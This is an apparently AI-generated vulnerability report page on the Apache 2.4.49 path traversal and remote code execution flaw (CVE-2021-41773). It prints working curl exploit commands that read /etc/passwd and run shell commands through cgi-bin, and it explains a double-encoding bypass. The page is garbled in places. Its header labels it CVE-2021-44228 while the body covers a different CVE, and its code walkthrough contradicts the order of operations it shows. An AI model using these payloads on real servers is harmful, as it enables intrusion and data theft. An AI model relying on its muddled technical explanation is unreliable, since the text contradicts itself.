CVEReports
Reports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Reports
  • Sitemap
  • RSS Feed

Company

  • About
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Powered by Google Gemini & CVE Feed

|
•

CVE-2021-44228
CVSS 9.8|EPSS 95.63%

Apache's Billion-Dollar Mistake: How One Line of Code Opened the Web's Front Door

Amit Schendel
Amit Schendel
Senior Security Researcher•January 3, 2026•8 min read
Active ExploitationCISA KEV Listed

Executive Summary (TL;DR)

A botched path normalization change in Apache 2.4.49 allowed attackers to read any file on the server using a simple URL-encoded trick (`.%2e/`). If `mod_cgi` was enabled, this file-read bug became a full-blown RCE, allowing attackers to execute commands as the web server's user. It was a 0-day for a short period and highlights the danger of 'improving' security-critical code without rigorous testing.

CVE-2021-41773 is a critical path traversal vulnerability discovered in Apache HTTP Server version 2.4.49. A flawed change in path normalization logic allowed unauthenticated attackers to map URLs to files outside the expected document root. If CGI scripts were also enabled, this vulnerability could be trivially escalated to achieve remote code execution. The bug was introduced and fixed in rapid succession, but not before being actively exploited in the wild, serving as a stark reminder of how fragile core internet infrastructure can be.

The Beating Heart of the Internet

Apache HTTP Server, or 'httpd' as it's affectionately known, is the digital equivalent of concrete. It's everywhere, it's foundational, and most of the time, nobody notices it's there. It has served as the backbone of the web for decades, handling requests for everything from your cat blog to massive enterprise applications. Its reliability is legendary, which is why when a flaw appears, it's not just a crack in the wall—it's a seismic event.

The server's security model hinges on a very simple promise: a user requesting a URL should only ever access files within a designated folder, the DocumentRoot. This is the digital velvet rope. Anything outside of it—configuration files, system binaries, your private SSH keys—is supposed to be off-limits. The mechanism enforcing this is called path normalization.

Path normalization is the bouncer that cleans up messy URL requests. It resolves shortcuts like . (current directory) and .. (parent directory), ensuring that a request like /images/../index.html correctly resolves to /index.html within the webroot. This process is absolutely critical. A failure here is like the bouncer getting confused and letting a guest wander into the cash office. And in October 2021, the bouncer for Apache 2.4.49 wasn't just confused; it was actively helping attackers sneak into the back rooms.

A Normalization Nightmare

The vulnerability was born from the best of intentions, as most disasters are. A developer, in an effort to improve the consistency and security of path handling, introduced a change in version 2.4.49. The goal was to consolidate path normalization logic. The result was a catastrophic logic inversion.

To understand the flaw, you need to understand the attacker's classic playbook for path traversal: the dot-dot-slash (../). A request for /../../../../etc/passwd is the oldest trick in the book. Most servers are wise to this and will sanitize the URL, stripping or rejecting these sequences. So, attackers got clever and started encoding them. A . becomes %2e, and a / becomes %2f (though the slash often doesn't need encoding).

The fatal mistake in Apache 2.4.49 was the order of operations. The new code would first decode the URL-encoded characters (like %2e) and then check for path traversal sequences. This is like letting a Trojan Horse inside the city walls and then asking if anyone inside is a Greek soldier. By the time the check happens, the decoded ../ sequences are live, and the server dutifully walks up the directory tree, right out of the webroot.

The Smoking Gun

Talk is cheap. Let's look at the code. The vulnerability resided in the ap_normalize_path() function within server/request.c. The change that introduced the flaw was part of a larger commit, but the core issue boils down to one function call being in the wrong place.

Here’s a simplified view of the logic in the vulnerable version (2.4.49):

// VULNERABLE LOGIC IN 2.4.49
int ap_normalize_path(char *path, unsigned int flags)
{
    // ... some setup ...
 
    /* First, URL-unescape the path. */
    if (flags & AP_NORMALIZE_UNESCAPE)
        ap_unescape_url_keep2f(path, flags & AP_NORMALIZE_DECODE_2F);
 
    /* Now, remove ../ and ./ segments. */
    if (flags & AP_NORMALIZE_REMOVE_DOTS)
        ap_remove_dots(path, 1);
 
    // ... more logic ...
}

See that? ap_unescape_url_keep2f is called before ap_remove_dots. A request for /.%2e/.%2e/etc/passwd flies right through ap_remove_dots because it doesn't see the literal ../ sequence. Then, ap_unescape_url_keep2f decodes %2e back into ., and suddenly the malicious path is passed on, live and ready to traverse.

The patch in version 2.4.50 was beautifully simple. It just reordered things, performing the dot-removal before any major unescaping. This ensures that the raw, untrusted path is sanitized first.

// FIXED LOGIC IN 2.4.50
int ap_normalize_path(char *path, unsigned int flags)
{
    // ... some setup ...
 
    /* First, remove ../ and ./ segments. */
    if (flags & AP_NORMALIZE_REMOVE_DOTS) {
        if (ap_remove_dots(path, 1))
            return HTTP_BAD_REQUEST;
    }
 
    /* Now, URL-unescape the path if requested. */
    if (flags & AP_NORMALIZE_UNESCAPE)
        ap_unescape_url_keep2f(path, flags & AP_NORMALIZE_DECODE_2F);
 
    // ... more logic ...
}

This simple swap was the difference between a secure server and a wide-open gateway. Unfortunately, as we'll see later, even this fix wasn't quite good enough.

From File Read to Shell Pop

Exploiting this flaw is so easy it's almost insulting. You don't need a complex framework; you just need curl. The first step is confirming the vulnerability with a simple file read. We target a known directory, like /icons/, and then traverse out of it.

# Let's grab the system's password file
curl --path-as-is 'http://vulnerable-server.com/icons/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'

The --path-as-is flag is crucial; it tells curl not to normalize the URL on the client side, sending our malicious payload raw. If the server responds with the contents of /etc/passwd, you've confirmed the flaw. Congratulations, you now own every configuration file, script, and forgotten password file on the server.

But why stop at reading files when you can get a shell? If mod_cgi is enabled and a cgi-bin directory is configured, this vulnerability becomes a direct RCE. The logic is devious: we traverse the filesystem to a system binary like /bin/sh and trick Apache into executing it as if it were a CGI script.

# Execute the 'id' command on the remote server
echo "Content-Type: text/plain; charset=utf-8"; echo; /usr/bin/id
 
# Pipe this command into the server via POST data
curl --path-as-is -d 'echo; id' 'http://vulnerable-server.com/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh'

Apache, completely fooled, runs /bin/sh, pipes our POST data (echo; id) into its standard input, and helpfully returns the output of the id command. At this point, it's game over. You have a shell on the server, running with the permissions of the web user (www-data, apache, etc.).

Here's a visual of the attack flow:

Why We Should Panic (A Little)

The impact of this vulnerability ranges from 'very bad' to 'catastrophic'. In its most basic form, it's an arbitrary file disclosure. Attackers can vacuum up sensitive data: .env files with database credentials, application source code containing secrets, server configuration files, TLS private keys, and anything else the web server user has permission to read. This is a treasure trove for any attacker.

When mod_cgi enters the picture, the situation escalates to a full-blown RCE. This turns the web server into a beachhead for further attacks into the internal network. An attacker can drop malware, install a cryptominer, add the server to a botnet, or pivot deeper into the organization's infrastructure. Given Apache's prevalence, millions of servers were potentially vulnerable the moment version 2.4.49 was released.

The only saving grace was the bug's incredibly short lifespan. Version 2.4.49 was released on September 15th, 2021, and the vulnerability was discovered and patched with version 2.4.50 on October 4th, 2021. This narrow window meant that only rapid adopters were vulnerable. However, it also means it was effectively a zero-day vulnerability being actively exploited before a patch was available. It's a terrifying lesson in the risks of 'bleeding edge' updates on production systems.

The Fix, The Botch, and The Facepalm

The initial fix, released in version 2.4.50, was swift and seemed logical. As we saw in the code, the developers reordered the normalization steps to validate the path before unescaping it. The world breathed a collective sigh of relief, sysadmins patched their servers, and everyone went back to business.

For about 48 hours.

Security researchers, being the wonderfully paranoid people they are, immediately started trying to break the patch. And they succeeded. The fix in 2.4.50 correctly blocked single URL-encoded characters like %2e. But what about double URL encoding? The patch authors didn't account for an attacker encoding the percent sign itself.

A new bypass was quickly found using sequences like .%252e/. Apache 2.4.50 would perform one pass of URL decoding, turning %252e into %2e. Since the path traversal check had already run, this newly decoded, malicious sequence was passed right along, reintroducing the vulnerability. This new, improved bug was assigned CVE-2021-42013.

This is a classic case of a whack-a-mole security patch. The developers fixed the specific exploit they saw, but not the underlying logical flaw in its entirety. The final, actual fix arrived in version 2.4.51, which implemented a more robust, multi-pass normalization routine that could handle these nested encoding tricks. It's a humbling lesson: fixing security bugs is hard, and a rushed patch is often no patch at all.

Official Patches

Apache Software FoundationOfficial Apache advisory for CVE-2021-41773
UbuntuUbuntu Security Notice USN-5093-1

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
95.63%
Top 4% most exploited

Affected Systems

Apache HTTP Server

Affected Versions Detail

ProductAffected VersionsFixed Version
Apache HTTP Server
Apache Software Foundation
2.4.492.4.50
AttributeDetail
CWE IDCWE-22
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
CVSS Score9.8 (Critical for RCE scenario)
ImpactArbitrary File Disclosure, Remote Code Execution
Exploit StatusActive Exploitation
KEV StatusYes, added 2021-10-07

MITRE ATT&CK Mapping

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
CWE-22
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The software uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the software does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Exploit Resources

Known Exploits & Detection

GitHubPublic Proof-of-Concept script for CVE-2021-41773 demonstrating both LFI and RCE.
Exploit-DBApache 2.4.49 - Path Traversal & Remote Code Execution (RCE)

Vulnerability Timeline

Vulnerability Timeline

Apache HTTP Server 2.4.49 released, introducing the vulnerability.
2021-09-15
Vulnerability disclosed and patch released in version 2.4.50.
2021-10-04
Public PoC exploits and active scanning in the wild are detected.
2021-10-05
A bypass for the patch is discovered (CVE-2021-42013). Apache releases version 2.4.51.
2021-10-07
CVE-2021-41773 added to CISA's Known Exploited Vulnerabilities (KEV) catalog.
2021-10-07

References & Sources

  • [1]NVD - CVE-2021-41773
  • [2]MITRE - CVE-2021-41773
  • [3]CISA Known Exploited Vulnerabilities Catalog
  • [4]Sonatype Blog: Analysis of the Apache vulnerability and its botched patch
Related Vulnerabilities
CVE-2021-42013CVE-2021-41773

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.